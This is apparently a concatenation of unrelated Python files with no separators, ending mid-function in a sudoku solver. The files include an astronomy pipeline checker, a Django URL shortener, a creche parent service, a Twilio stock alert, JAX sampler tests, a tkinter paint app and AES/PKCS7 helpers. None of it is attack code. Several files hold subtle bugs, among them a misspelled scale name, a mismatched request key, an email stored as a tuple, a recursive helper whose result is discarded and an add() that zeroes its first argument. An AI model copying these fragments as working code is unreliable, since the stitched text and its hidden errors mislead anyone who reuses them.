from .mpdaf_pipe import MuseCube, MuseSpectrum, MuseSetSpectra
from .mpdaf_pipe import MuseImage, MuseSetImages, get_sky_spectrum

name_final_datacube = "DATACUBE_FINAL.fits"
PLOT = '\033[1;34;20m'
ENDC = '\033[0m'

def print_plot(text):
    print(PLOT + "# CheckPipeInfo " + ENDC + text)

class CheckPipe(MusePipe):
    """Checking the outcome of the data reduction
    """
    def __init__(self, mycube=name_final_datacube, pdf_name="check_pipe.pdf",
                 pipe=None, standard_set=True, **kwargs):
        """Init of the CheckPipe class. Using a default datacube to run some checks
        and create some plots
        """
        if pipe is not None:
            self.__dict__.update(pipe.__dict__)
        else:
            MusePipe.__init__(self, **kwargs)

        self.cube = MuseCube(filename=joinpath(self.paths.object, mycube))
        self.pdf = GraphMuse(pdf_name=joinpath(self.paths.figures, pdf_name))

        # Input parameters useful to define a set of spectra and images
        suffix_skyspectra = kwargs.pop("suffix_skyspectra", "")
        suffix_images = kwargs.pop("suffix_images", None)

        if standard_set:
            # getting standard spectra
            self.cube.get_set_spectra()

            # plotting all standard data
            # Page 1
            self.check_quadrants()
            # plotting the white image and Ha image
            # Page 2
            self.check_white_line_images(line="Ha")
            # plotting the sky spectra
            # Page 3
            self.check_sky_spectra(suffix_skyspectra)

            # Checking some images only if suffix_images is provided
            if suffix_images is not None:
                self.check_given_images(suffix_images)

            # closing the pdf
            self.pdf.close()

    def check_quadrants(self):
        """Checking spectra from the 4 quadrants
        """
        print_plot("Plotting the 4 quadrants-spectra")
        self.pdf.plot_page(self.cube.spec_4quad)

    def check_master_bias_flat(self):
        """Checking the Master bias and Master flat
        """
        bias = self.get_master(mastertype="Bias", scale='arcsinh', title="Master Bias")
        flat = self.get_master(mastertype="Flat", scale='arcsing', title="Master Flat")
        tocheck = MuseSetImages(bias, flat, subtitle="Master Bias - Master Flat")
        print_plot("Plotting the Master Bias and Flat")
        self.pdf.plot_page(tocheck)

    def check_white_line_images(self, line="Ha", velocity=0.):
        """Building the White and Ha images and
        Adding them on the page
        """
        white = self.cube.get_whiteimage_from_cube()
        linemap = self.cube.get_emissionline_image(line=line, velocity=velocity)
        tocheck = MuseSetImages(white, linemap,
                                subtitle="White and emission line {0} images".format(line))
        print_plot("Plotting the White and {0} images".format(line))
        self.pdf.plot_page(tocheck)

    def check_sky_spectra(self, suffix):
        """Check all sky spectra from the exposures
        """
        sky_spectra_names = glob.glob(self.paths.sky +
                                      "./SKY_SPECTRUM_*{suffix}.fits".format(suffix=suffix))
        tocheck = MuseSetSpectra(subtitle="Sky Spectra")
        counter = 1
        for specname in sky_spectra_names:
            tocheck.append(MuseSpectrum(source=get_sky_spectrum(specname),
                                        title=f"Sky {counter:2d}", add_sky_lines=True))
            counter += 1

        print_plot("Plotting the sky spectra")
        self.pdf.plot_page(tocheck)

    def check_given_images(self, suffix=None):
        """Check all images with given suffix
        """
        if suffix is None:
            suffix = ""
        image_names = glob.glob(self.paths.maps + "./*{0}*.fits".format(suffix))
        tocheck = MuseSetImages(subtitle="Given Images - {0}".format(suffix))
        counter = 1
        for imaname in image_names:
            tocheck.append(MuseImage(filename=imaname, title="Image {0:2d}".format(counter)))
            counter += 1

        print_plot("Plotting the set of given images")
        self.pdf.plot_page(tocheck)


from PIL import ImageDraw

from configs.cfgs import args

def read_class_names(class_file_name):
    '''loads class name from a file'''
    names = {}
    with open(class_file_name, 'r') as data:
        for ID, name in enumerate(data):
            names[ID] = name.strip('\n')
    return names

def draw_boxes(img, boxes):
    """

    :param img:
    :param boxes:
    :return:
    """
    draw = ImageDraw.Draw(img)
    for box in boxes:
        draw.rectangle(list(box), outline='red')

    return img

class UnNormalizer(object):
    def __init__(self, mean=None, std=None):
        if mean == None:
            self.mean = [0.485, 0.456, 0.406]
        else:
            self.mean = mean
        if std == None:
            self.std = [0.229, 0.224, 0.225]
        else:
            self.std = std

    def __call__(self, tensor):
        """
        Args:
            tensor (Tensor): Tensor image of size (C, H, W) to be normalized.
        Returns:
            Tensor: Normalized image.
        """
        for t, m, s in zip(tensor, self.mean, self.std):
            t.mul_(s).add_(m)
        return tensor

def test():
    class_name = read_class_names(args.classes)
    print(class_name)

if __name__ == "__main__":
    test()


import csv
import matplotlib.pyplot as plt

Zb = [[], []]
# with open('F:/zhengwangwork/test csv/4.csv','rb')as f:
#     reader=csv.reader(f)
#     for row in reader:
#         print(row[0])
file = open('../gold.csv', 'r', encoding='UTF-8')  # 打开csv文件
reader = csv.reader(file)  # 读取csv文件
data = list(reader)  # 将csv数据转化为列表
length_h = len(data)  # 得到数据行数
lenght_l = len(data[0])  # 得到每行长度

x = list()
y = list()

for i in range(0, length_h):  # 从第一行开始读取
    x.append(data[i][0])  # 将第一列数据从第一行读取到最后一行付给列表x
    y.append(data[i][2])  # 将第三列数据从第一行读取到最后一行付给列表y
plt.plot(x, y)  # 绘制折线图
plt.show()  # 显示折线图


import logging
import json
import os
import requests

logger = logging.getLogger()
logger.setLevel(logging.INFO)

def lambda_handler(inputPayload, context):
    slack_link = os.environ['SLACK_URL']
    try:
        url = inputPayload['issue']['html_url']
    except Exception as e:
        logger.error(e)
        # return a 500 error code
        res = json.dumps({'statusCode': 500, 'body': f'Error: {e}'})
        return res
    reply = {'text': f"Issue Created: {url}"}
    res = requests.post(slack_link, json=reply)
    return res


import sys
from itertools import combinations as comb
sys.stdin = open('input/20529.txt')
input = sys.stdin.readline

def d(A, B):
    return sum([A[i] != B[i] for i in range(4)])

T = int(input())
for tc in range(T):
    N = int(input())
    mbti = input().split()
    if len(mbti) > 32:
        print(0)
    else:
        ans = 12
        for c in set(list(comb(mbti, 3))):
            dist = d(c[0], c[1]) + d(c[0], c[2]) + d(c[1], c[2])
            ans = min(ans, dist)
        print(ans)

baekjoon/[S1] 20529. 가장 가까운 세 사람의 심리적 거리.py

[S1] 20529. 가장 가까운 세 사람의 심리적 거리.py


# from django.contrib import messages
from json import loads, dumps
from .models import Link
from django.db.models import Sum
from django.db import OperationalError
from tenacity import (retry, stop_after_attempt, wait_fixed,
                      retry_if_exception_type)

import random
import string
import datetime
from django.shortcuts import render, redirect, get_object_or_404
from django.http import (HttpResponse, HttpResponseServerError, Http404,
                         HttpResponseBadRequest)

# For Google Web Crawler to work and website to show up on Google
def robots_txt(request):

    lines = [
        "User-Agent: *",
        "Disallow: /admin/"
        # "Disallow: /*"
    ]
    return HttpResponse("\n".join(lines), content_type="text/plain")

# Returning home page
def index(request):
    stats = get_stats()
    return render(request, 'shortner/index.html', context=stats)

# returns stats for rendering in index.html

def return_last_value(retry_state):
    print(f'\n\n attempt number {retry_state.attempt_number} \n \
        function for which retry was called: {retry_state.fn} \n\n')

@retry(retry=retry_if_exception_type(OperationalError),
       stop=stop_after_attempt(3),
       wait=wait_fixed(0.75),
       retry_error_callback=return_last_value)
def get_stats():

    # generating date information
    d1 = datetime.datetime(2020, 8, 30)
    d2 = datetime.datetime.now()
    time_difference = d2-d1
    months = round(time_difference.days / 30)

    stats = {
        'total_links': Link.objects.all().count(),
        'total_clicks':
            Link.objects.aggregate(total_clicks=Sum('clicks'))['total_clicks'],
        'active_months': months
    }

    return stats

def check(request, shortlink):
    if linkExists(shortlink):
        return HttpResponse(dumps({'link': shortlink, 'available': False}))
    else:
        return HttpResponse(dumps({'link': shortlink, 'available': True}))
    # not strictly required but might be useful for debugging
    print('nothing got returned')

def create(request):
    # assump1: post body exists
    # assump2: post body has 'longlink' defined

    if request.method != 'POST':
        return redirect('/')

    reqBody = loads(request.body)
    longlink = reqBody['longlink']
    shortlink = ''  # temporary empty value

    try:
        shortlink = reqBody['shortlink']

        if shortlink == '':
            # ik it's wrong...sorry.
            raise KeyError('Empty shortlink')
        if linkExists(shortlink):
            res = HttpResponseBadRequest()
            res.reason_phrase = 'Shortlink already taken'
            res.status_code = 400
            return res
    except KeyError:
        shortlink = getShortRandomLink(5)

    obj = Link(shortlink=shortlink, longlink=longlink)
    obj.save()
    return HttpResponse(dumps(obj.getDict()))

@retry(retry=retry_if_exception_type(OperationalError),
       stop=stop_after_attempt(3),
       wait=wait_fixed(0.75),
       retry_error_callback=return_last_value)
def rediretor(request, shortlink):
    shortlinkObj = get_object_or_404(Link, pk=shortlink)

    # uncomment below lines when adding feature
    shortlinkObj.clicks += 1
    shortlinkObj.save()

    return redirect(shortlinkObj.longlink)

def custom_404(request, exception):
    return render(request, 'shortner/404.html', status=404)

def linkExists(shortlink):
    try:
        Link.objects.get(pk=shortlink)
        return True
    except Link.DoesNotExist:
        return False

# ------- helper functions ---------

def getShortRandomLink(length):
    temp = get_random_string(length)
    if linkExists(temp):
        # recursion!
        getShortRandomLink(length)
    return temp

def get_random_string(length):
    letters = string.ascii_lowercase
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str

# function to tell user how many clicks their link have gotten
# usable as api/clicky/<shortlink>
def clicks(request, shortlink):
    # print(f"shortlink of cliks is {shortlink}\n")
    if linkExists(shortlink):
        link = Link.objects.get(pk=shortlink)
        return HttpResponse(link.clicks)

    else:
        return HttpResponse('0')


#! usr/bin/env python
# -*- coding : utf-8 -*-

from skopt import gp_maximize
import numpy as np
from skopt.plots import plot_convergence
np.random.seed(123)

#%matplotlib inline
import matplotlib.pyplot as plt

noise_level = 0.1

def f(x, noise_level=noise_level):
    return np.sin(5 * x[0]) * (1 - np.tanh(x[0] ** 2)) + np.random.randn() * noise_level
# Plot f(x) + contours
x = np.linspace(-2, 2, 400).reshape(-1, 1)
fx = [f(x_i, noise_level=0.0) for x_i in x]
plt.plot(x, fx, "r--", label="True (unknown)")
plt.fill(np.concatenate([x, x[::-1]]),
         np.concatenate(([fx_i - 1.9600 * noise_level for fx_i in fx],
                         [fx_i + 1.9600 * noise_level for fx_i in fx[::-1]])),
         alpha=.2, fc="r", ec="None")
#plt.legend()
#plt.grid()
#plt.show()

res = gp_maximize(f,                  # the function to minimize
                  [(-2.0, 2.0)],      # the bounds on each dimension of x
                  acq_func="EI",      # the acquisition function
                  n_calls=15,         # the number of evaluations of f
                  n_random_starts=5,  # the number of random initialization points
                  noise=0.1**2,       # the noise level (optional)
                  random_state=123)   # the random seed

#print(res)
#plot_convergence(res);
plt.rcParams["figure.figsize"] = (6, 4)

# Plot f(x) + contours
x = np.linspace(-2, 2, 400).reshape(-1, 1)
x_gp = res.space.transform(x.tolist())

fx = [f(x_i, noise_level=0.0) for x_i in x]
plt.plot(x, fx, "r--", label="True (unknown)")
plt.fill(np.concatenate([x, x[::-1]]),
         np.concatenate(([fx_i - 1.9600 * noise_level for fx_i in fx],
                         [fx_i + 1.9600 * noise_level for fx_i in fx[::-1]])),
         alpha=.2, fc="r", ec="None")

# Plot GP(x) + contours
gp = res.models[-1]
y_pred, sigma = gp.predict(x_gp, return_std=True)

plt.plot(x, y_pred, "g--", label=r"$\mu_{GP}(x)$")
plt.fill(np.concatenate([x, x[::-1]]),
         np.concatenate([y_pred - 1.9600 * sigma,
                         (y_pred + 1.9600 * sigma)[::-1]]),
         alpha=.2, fc="g", ec="None")

# Plot sampled points
plt.plot(res.x_iters,
         res.func_vals,
         "r.", markersize=15, label="Observations")

plt.title(r"$x^* = %.4f, f(x^*) = %.4f$" % (res.x[0], res.fun))
plt.legend(loc="best", prop={'size': 8}, numpoints=1)
plt.grid()

plt.show()


#!  /usr/bin/env python
# encoding: utf-8
# vim: ai ts=4 sts=4 et sw=4

##
##
## @author Nadia
## nadia@gmail.com/joel@gmail.com
##

from coreapp.appmodel.models import CrecheParent, CrecheChild, PARENT_CHILD_RELATION
from coreapp.service.base_service import BaseService
from coreapp.service.child_service import ChildService, GENDER, CHILD_CLASSES
from coreapp.exception.critical_error import CriticalError
from django.db.models import Q, Max
from django.utils.datetime_safe import datetime

class ParentService(BaseService):

    def __init__(self):
        BaseService.__init__(self)

    def list(self, params):

        sortLimitParams = self.setSortLimitParameters(params)

        filterObj = Q()
        if params.get('searchName'):
            filterObj = filterObj & Q(names__icontains=params.get('searchName'))
        if params.get('searchParentId'):
            filterObj = filterObj & Q(id=params.get('searchCParentId'))
        if params.get('searchDateCreated'):
            filterObj = filterObj & Q(
                date_created__gte=datetime.strptime(params.get('searchDateCreated') + ' 00:00:59',
                                                      '%Y-%m-%d %H:%M:%S'))
            filterObj = filterObj & Q(
                date_created__lte=datetime.strptime(params.get('searchDateCreated') + ' 23:59:59',
                                                      '%Y-%m-%d %H:%M:%S'))
        if params.get('searchTelephone'):
            filterObj = filterObj & Q(telephone = params.get('searchTelephone'))
        if params.get('searchIDNO'):
            filterObj = filterObj & Q(identity_document = params.get('searchIDNO'))
        if params.get('searchEmail'):
            filterObj = filterObj & Q(email = params.get('searchEmail'))

        result = CrecheParent.objects.filter(filterObj).order_by(sortLimitParams['dir'] + sortLimitParams['sort'])[
                 sortLimitParams['start']: sortLimitParams['limit']]
        count = CrecheParent.objects.filter(filterObj).count()

        records = []
        for item in result:

            record = {}
            record['id'] = item.id
            record['telephone'] = item.telephone.encode('utf-8')
            record['id_number'] = item.identity_document.encode('utf-8')
            record['date_created'] = item.date_created.isoformat()
            record['children'] = [ {"names": ch.names, "regno": ch.regno, "id": ch.id} for ch in item.children.all()]
            record['address'] = item.full_address.encode('utf-8')
            record['email'] = item.email.encode('utf-8')
            record['names'] = item.names
            record['relationship'] = item.relationship.encode('utf-8')
            records.append(record)

        return {'totalCount': count, 'records': records}

    def listExport(self, params):
        """Export the applicant data"""

        records = self.list(params)

        return self.decodeDataToExport(records, params.get('exportColumns'))

    def save_parent(self, postValues):
        """
        we assume we will not register a child without a parent, and a parent without a child
        :param postValues:
        :return:
        """
        parent = None
        params = postValues.copy()

        if params.get('parent_names'):

            try:
                parent = CrecheParent.objects.get(id = params.get('id_number'))
                parent.names = params.get('parent_names')
                parent.telephone = params.get('telephone')
                parent.identity_number = params.get('id_number')
                parent.relationship = params.get('relationship')
                parent.full_address = params.get('full_address')
                parent.email = params.get('email'),
                parent.last_updated = datetime.now()
            except CrecheParent.DoesNotExist:
                parent = CrecheParent( names = params.get('parent_names'),
                                       telephone = params.get('telephone'),
                                       identity_number = params.get('id_number'),
                                       relationship=params.get('relationship'),
                                       full_address=params.get('full_address'),
                                       email=params.get('email'),
                                       date_created=datetime.now(),
                                       last_updated = datetime.now()
                                        )
            try:
                parent.save()
            except Exception:
                raise CriticalError({'message': "Unkwon Error while saving parent '" + params.get("parent_names") + "'. Try again or contact system admin "})

        return parent

    def save_parent_child(self, postValues):
        """
        we assume we will not register a child without a parent, and a parent without a child
        :param postValues:
        :return:
        """
        parent = None
        child  = None
        params = postValues.copy()

        if params.get('parent_names'):

            try:
                parent = CrecheParent.objects.get(id = params.get('id_number'))
                parent.names = params.get('parent_names')
                parent.telephone = params.get('telephone')
                parent.identity_document = params.get('id_number')
                parent.relationship = params.get('relationship')
                parent.full_address = params.get('full_address')
                parent.email = params.get('email'),
                parent.last_updated = datetime.now()
            except CrecheParent.DoesNotExist:
                parent = CrecheParent( names = params.get('parent_names'),
                                       telephone = params.get('telephone'),
                                       identity_document = params.get('id_number'),
                                       relationship=params.get('relationship'),
                                       full_address=params.get('full_address'),
                                       email=params.get('email'),
                                       date_created=datetime.now(),
                                       last_updated = datetime.now()
                                        )
            try:
                child_service = ChildService()
                child = child_service.save_child(postValues)
                print("CHILD : ", child.__dict__)
                if child:
                    parent.save()
                    parent.children.add(child)
                    #parent.save()
                else:
                    raise CriticalError({'message': "The child '" + params.get(
                        'child_names') + "' of parent '" + params.get("parent_names") + "' was not saved. Try again "})
            except Exception as e:
                try:
                    child.delete()
                    parent.delete()
                except Exception as ex:
                    print("ERROR ROLLING BACK", ex)
                print("PARENT CHILD ERROR ", e)
                raise CriticalError({'message': "Unkwon Error while saving child '" + params.get(
                    'child_names') + "' of parent '" + params.get("parent_names") + "'. Try again or contact system admin "})

        return parent, child

    def add_child(self, parentObj,  child_id = None, regno = None):

        if child_id:
            parentObj.children.add(CrecheChild.objects.get(id= child_id))
        if regno:
            parentObj.children.add(CrecheChild.objects.get(regno=regno))
        parentObj.save()

        return parentObj


# This script gets the data of a lineout for different components

begin_file = 0
end_file = 20
file_step = 20
plt_prefix = "name_of_your_hdf5_files"
path_to_hdf5_files = "path_to_hdf5s"

# Choose components
components = ["phi", "lapse", "chi"]

# specify a begin and end point for the lineout, e.g. two (x,y) points if you sliced normal to z
[x_min, y_min, z_min] = [0, 0, 0]
[x_max, y_max, z_max] = [3000, 0, 0]

def rendering():

        def lineout(name):

            AddPlot("Curve", "operators/Lineout/" + name, 1, 1)
            LineoutAtts = LineoutAttributes()
            LineoutAtts.point1 = (x_min, y_min, z_min)
            LineoutAtts.point2 = (x_max, y_max, z_max)
            SetOperatorOptions(LineoutAtts, 1)

        def window_options(name):

            SaveWindowAtts = SaveWindowAttributes()
            SaveWindowAtts.outputToCurrentDirectory = 1
            SaveWindowAtts.fileName = name + "_"
            SaveWindowAtts.family = 1
            SaveWindowAtts.format = SaveWindowAtts.CURVE  # BMP, CURVE, JPEG, OBJ, PNG, POSTSCRIPT, POVRAY, PPM, RGB, STL, TIFF, ULTRA, VTK, PLY
            SetSaveWindowAttributes(SaveWindowAtts)

        # Evolve reading next hdf5 files
        for i in range(begin_file ,end_file ,file_step):
            hdf5filename = plt_prefix + "%06i.3d.hdf5"%i
            print("Analysing file " + hdf5filename)
            OpenDatabase(path_to_hdf5_files + hdf5filename)

            for name in components:

                window_options(name)
                lineout(name)
                DrawPlots()
                SaveWindow()
                DeleteAllPlots()
                print("Component: " + name)

            CloseDatabase(path_to_hdf5_files + hdf5filename)

if __visit_script_file__ == __visit_source_file__:
    rendering()
    os.remove("./visitlog.py")


def sum_even_odd_digits(number):
    ch = 0
    nch = 0
    position = 1

    while number > 0:
        digit = number % 10
        if position % 2 == 0:
            ch += digit
        else:
            nch += digit
        number //= 10
        position += 1

    return ch, nch

number = int(input())
ch, nch = sum_even_odd_digits(number)

result=nch+ch*3
if (result%10==0):
    print("yes")
else:
    print("no")


import requests
import datetime as dt
from twilio.rest import Client

account_sid = 'Twilio_api_sid'
auth_token = 'twilio_auth_token'

STOCK = "TSLA"
COMPANY_NAME = "Tesla Inc"

stock_api_key = 'alpha_vantage_api_key'
news_api_key = 'news_api_key'

STOCK_ENDPOINT = "https://www.alphavantage.co/query"
NEWS_ENDPOINT = "https://newsapi.org/v2/everything"

today = dt.datetime.now().date()
lag_1day = str(today - dt.timedelta(days=1))
lag_2day = str(today - dt.timedelta(days=2))
up_down = ''
percent_change = 0

stock_parameters = {
    'function': 'TIME_SERIES_DAILY_ADJUSTED',
    'symbol': STOCK,
    'outputsize': 'compact',
    'apikey': stock_api_key,
    'pageSize': 3,
    'page': 1,
}

news_parameters = {
    'q': COMPANY_NAME,
    'from': lag_2day,
    'to': lag_1day,
    'sortBy': 'publishedAt',
    'apiKey': news_api_key,
}

# Make api request to stock api
stock_response = requests.get(STOCK_ENDPOINT, params=stock_parameters)
stock_response.raise_for_status()
stock_data = stock_response.json()

# Get closing price
try:
    lag_1day_close = float(stock_data['Time Series (Daily)'][lag_1day]['4. close'])
except KeyError:
    lag_1day_close = None
try:
    lag_2day_close = float(stock_data['Time Series (Daily)'][lag_2day]['4. close'])
except KeyError:
    lag_2day_close = None

# Find percent change, and set up_down symbol
if lag_1day_close is not None and lag_2day_close is not None:
    difference = lag_1day_close - lag_2day_close
    percent_change = round((difference / lag_1day_close) * 100)
    if difference < 0:
        up_down = 'ðŸ”»'
    else:
        up_down = 'ðŸ”º'

# Make api request to get news articles
news_response = requests.get(NEWS_ENDPOINT, params=news_parameters)
news_response.raise_for_status()
news_data = news_response.json()
top_news = news_data['articles'][:3]
news_title_list = [top_news[_]['title'] for _ in range(len(top_news))]
news_description_list = [top_news[_]['description'] for _ in range(len(top_news))]

# Send text messages
if percent_change >= 5 or percent_change <= -5:
    for i in range(len(news_title_list)):
        client = Client(account_sid, auth_token)
        message = client.messages \
            .create(
            body=f'{STOCK}: {up_down}{percent_change}%\nHeadline: {news_title_list[i]}\nBrief: {news_description_list[i]}',
            from_='+19257226085',
            to='+15551234567'
        )


import jax
import numpy as np
import numpy.testing as npt
import pytest
from matplotlib import pyplot as plt
from statsmodels.graphics.tsaplots import plot_acf

from .common import GaussianDistribution, FlatPotential, FlatUnivariatePotential, GaussianDynamics, lgssm_data, \
    GaussianObservationPotential
from ..csmc import get_kernel

@pytest.fixture(scope="module", autouse=True)
def jax_config():
    jax.config.update("jax_platform_name", "cpu")

@pytest.mark.parametrize("backward", [True, False])
def test_flat_potential(backward):
    # Test a flat potential, to check that we recover the prior.
    # The model is a stationary AR process with Gaussian noise.
    JAX_KEY = jax.random.PRNGKey(0)

    T = 5  # T time steps
    RHO = 0.9  # correlation

    N = 32  # use N particles in total
    M = 50_000  # get M - B samples from the particle Gibbs kernel
    B = M // 10  # Discard the first 10% of the samples

    M0 = GaussianDistribution(mu=0.0, sig=1.0)
    G0 = FlatUnivariatePotential()
    Gt = FlatPotential()
    Mt = GaussianDynamics(rho=RHO)

    init, kernel = get_kernel(M0, G0, Mt, Gt, N=N, backward=backward, Pt=Mt)

    init_key, key = jax.random.split(JAX_KEY)
    x0 = jax.random.normal(init_key, (T, 1))
    init_state = init(x0)

    def body(state, curr_key):
        state = kernel(curr_key, state)
        return state, (state.x, state.updated)

    _, (xs, ancestors) = jax.lax.scan(body, init_state, jax.random.split(key, M))

    xs = xs[B:, :, 0]

    fig, axes = plt.subplots(ncols=2, figsize=(10, 5))
    fig.suptitle("Backward: {}".format(backward))
    plot_acf(xs[:, 0], ax=axes[0])
    axes[0].set_title("ACF of x_0")
    plot_acf(xs[:, T // 2], ax=axes[1])
    axes[1].set_title("ACF of x_T/2")
    plt.show()

    atol = 0.05
    cov = np.cov(xs, rowvar=False)
    cov = np.atleast_2d(cov)

    rows, cols = np.diag_indices_from(cov)

    cov_diag = cov[rows, cols]  # marginal variances
    sub_cov_diag = cov[rows[:-1], cols[1:]]  # Covariances between adjacent time steps

    npt.assert_allclose(xs.mean(axis=0), 0., atol=atol)
    npt.assert_allclose(cov_diag, 1., atol=atol)
    npt.assert_allclose(sub_cov_diag, RHO, atol=atol)

@pytest.mark.parametrize("backward", [True, False])
def test_lgssm(backward):
    # Test a LGSSM model test
    JAX_KEY = jax.random.PRNGKey(0)

    T = 25  # T time steps
    RHO = 0.9  # correlation
    SIG_Y = 0.1  # observation noise

    data_key, init_key, key = jax.random.split(JAX_KEY, 3)
    true_xs, true_ys = lgssm_data(data_key, RHO, SIG_Y, T)

    N = 32  # use N particles in total
    M = 50_000  # get M - B samples from the particle Gibbs kernel
    B = M // 10  # Discard the first 10% of the samples

    M0 = GaussianDistribution(mu=0.0, sig=1.0)
    G0 = GaussianDistribution(mu=true_ys[0], sig=SIG_Y)
    Gt = GaussianObservationPotential(params=true_ys[1:], sig=SIG_Y)
    Mt = GaussianDynamics(rho=RHO)

    init, kernel = get_kernel(M0, G0, Mt, Gt, N=N, backward=backward, Pt=Mt)

    x0 = jax.random.normal(init_key, (T, 1))
    init_state = init(x0)

    def body(state, curr_key):
        state = kernel(curr_key, state)
        return state, (state.x, state.updated)

    _, (xs, ancestors) = jax.lax.scan(body, init_state, jax.random.split(key, M))

    xs = xs[B:, :, 0]

    fig, axes = plt.subplots(ncols=3, figsize=(15, 5))
    fig.suptitle("Backward: {}".format(backward))
    plot_acf(xs[:, 0], ax=axes[0])
    axes[0].set_title("ACF of x_0")
    plot_acf(xs[:, T // 2], ax=axes[1])
    axes[1].set_title("ACF of x_T/2")
    plot_acf(xs[:, -1], ax=axes[2])
    axes[2].set_title("ACF of x_T")
    plt.show()

    print(xs.mean(axis=0))
    print(xs.std(axis=0))


import tkinter as tk
import message

class Scribble:

    def on_pressed(self, event):
        self.sx = event.x
        self.sy = event.y
        self.canvas.create_oval(self.sx, self.sy, event.x, event.y,
                                outline = self.color.get(),
                                width = self.width.get())

    def on_dragged(self, event):
        self.canvas.create_line(self.sx, self.sy, event.x, event.y,
                                fill = self.color.get(),
                                width = self.width.get())
        self.sx = event.x
        self.sy = event.y

    def create_window(self):
        window = tk.Tk()
        window.title('Painterz')

        self.canvas = tk.Canvas(window, bg = "white", width = 600, height = 300)
        self.canvas.pack()

        menu = tk.Menu(window)
        window.config(menu=menu)
        filemenu = tk.Menu(menu)
        menu.add_cascade(label="File", menu=filemenu)
        filemenu.add_command(label="New", command=message.callback)
        filemenu.add_command(label="Open...", command=message.callback)
        filemenu.add_separator()
        filemenu.add_command(label="Exit", command=message.callback)

        helpmenu = tk.Menu(menu)
        menu.add_cascade(label="Help", menu=helpmenu)
        helpmenu.add_command(label="About...", command=message.callback)

        quit_button = tk.Button(window, text = "終了", command = window.quit)
        quit_button.pack(side = tk.RIGHT)

        self.canvas.bind("<ButtonPress-1>", self.on_pressed)
        self.canvas.bind("<B1-Motion>", self.on_dragged)

        COLORS = ["red", "green", "blue", "#FF00FF", "black"]
        self.color = tk.StringVar()
        self.color.set(COLORS[1])
        b = tk.OptionMenu(window, self.color, *COLORS)
        b.pack(side = tk.LEFT)

        self.width = tk.Scale(window, from_ = 1, to = 15, orient = tk.HORIZONTAL)
        self.width.set(5)
        self.width.pack(side = tk.LEFT)

        return window;

    def __init__(self):
        self.window = self.create_window();

    def run(self):
        self.window.mainloop()

Scribble().run()


__all__ = [
    "InvalidPaddingError",
    "find_potential_ecb",
    "pad_pkcs_7",
    "strip_pkcs_7",
    "detect_potential_repeating_ecb_blocks",
    "ecb_encrypt",
    "cbc_encrypt_prepadded",
    "ecb_decrypt",
    "cbc_encrypt",
    "cbc_decrypt",
    "ctr_transcrypt"
]

# noinspection PyPackageRequirements
# false alert, is in requirements as pycryptodome
from Crypto.Cipher import AES

from bitfiddle import brake_into_keysize_blocks
from primitive_crypt import xor_buffers

def detect_potential_repeating_ecb_blocks(ciphertext, blocksize=16):
    seen = set()
    for block in brake_into_keysize_blocks(ciphertext, blocksize):
        if block in seen:
            return True
        else:
            seen.add(block)
    return False

def find_potential_ecb(cyphertexts):
    for cyphertext in cyphertexts:
        if detect_potential_repeating_ecb_blocks(cyphertext):
            return cyphertext
    return None

def pad_pkcs_7(blob, blocksize):
    num_pad_bytes = blocksize - (len(blob) % blocksize)
    padding = bytes([num_pad_bytes] * num_pad_bytes)
    return blob + padding

class InvalidPaddingError(ValueError):
    pass

def strip_pkcs_7(blob):
    length = len(blob)
    if length == 0:
        raise InvalidPaddingError()
    num_padding = blob[-1]
    if num_padding == 0 or length < num_padding:
        raise InvalidPaddingError()
    for byte in blob[-num_padding:]:
        if byte != num_padding:
            raise InvalidPaddingError()
    return blob[:-num_padding]

def ecb_encrypt(key, plaintext):
    cipher = AES.new(key, AES.MODE_ECB)
    input_blob = pad_pkcs_7(plaintext, 16)
    return cipher.encrypt(input_blob)

def ecb_decrypt(key, ciphertext):
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted = cipher.decrypt(ciphertext)
    return strip_pkcs_7(decrypted)

def cbc_encrypt_prepadded(key, iv, plaintext):
    blocks = brake_into_keysize_blocks(plaintext, 16)
    cipher = AES.new(key, AES.MODE_ECB)

    def cryptoblocks():
        last_block = iv
        for block in blocks:
            chained = xor_buffers(last_block, block)
            last_block = cipher.encrypt(chained)
            yield last_block

    return b''.join([cb for cb in cryptoblocks()])

def cbc_encrypt(key, iv, plaintext):
    return cbc_encrypt_prepadded(key, iv, pad_pkcs_7(plaintext, 16))

def cbc_decrypt(key, iv, ciphertext):
    assert len(ciphertext) % 16 == 0
    blocks = brake_into_keysize_blocks(ciphertext, 16)
    cipher = AES.new(key, AES.MODE_ECB)

    def plainblocks():
        last_block = iv
        for block in blocks:
            decrypted_block = cipher.decrypt(block)
            plain_block = xor_buffers(last_block, decrypted_block)
            last_block = block
            yield plain_block

    return strip_pkcs_7(b''.join(pb for pb in plainblocks()))

def ctr_keystream(key, nonce, block_count):
    if nonce < 0 or nonce > 2**64 or block_count < 0 or block_count > 2**64:
        raise ValueError()
    plain_nonce = nonce.to_bytes(8, byteorder="little", signed=False)
    plain_count = block_count.to_bytes(8, byteorder="little", signed=False)
    plain = plain_nonce + plain_count
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.encrypt(plain)

def ctr_transcrypt(key, nonce, data):
    instream = brake_into_keysize_blocks(data, 16)
    num_blocks = len(instream)
    if num_blocks == 0:
        return b''
    keystream = [ctr_keystream(key, nonce, i) for i in range(num_blocks)]
    keystream[-1] = keystream[-1][:len(instream[-1])]
    outstream = [xor_buffers(instream[i], keystream[i])
                 for i in range(num_blocks)]
    return b''.join(outstream)


# *args = parameter that will pack all arguments into a tuple. Useful for the function to be more flexible thing varying amount of arguments.

# def add(num1, num2):
#     sum = num1 + num2
#     return sum

# print(add(1,2,3)) #no longer can use this if the parameter is more than 2

def add(*stuff):
    sum = 0
    stuff = list(stuff)
    stuff[0] = 0
    for i in stuff:
        sum += i
    return sum

print(add(1,2,3,4,5,6,7,8,9))


def find_empty_space(puzzle):
    # find an empty space and return -1 if it exists
    # this function will return row, col tuple
    for i in range(9):
        for j in range(9):
            if puzzle[i][j] == -1:
                return i, j

    # if there's no empty space
    return None, None

def guess_is_valid(puzzle, guess, row, col):
    # this function will return True if guess is valid, else False
    row_values = puzzle[row]
    if guess in row_values:
        return False

    # row index will vary but col index will remain same within each row
    col_values = []
    for x in range(9):
        col_values.append(puzzle[x][col])

    if guess in col_values:
        return False

    # to get the start of our 3x3 matrix
    row_start = (row // 3) * 3
    col_start = (col // 3) * 3

    # iterate through the 3 values
    for a in range(row_start, row_start + 3):
        for b in range(col_start, col_start + 3):
            if puzzle[a][b] == guess:
                return False

    return True

def sudoku_solver(puzzle):
    # input is a list of lists
    # returns whether a solution exists or not

    # choosing an entry point or blank space
    row, col = find_empty_space(puzzle)

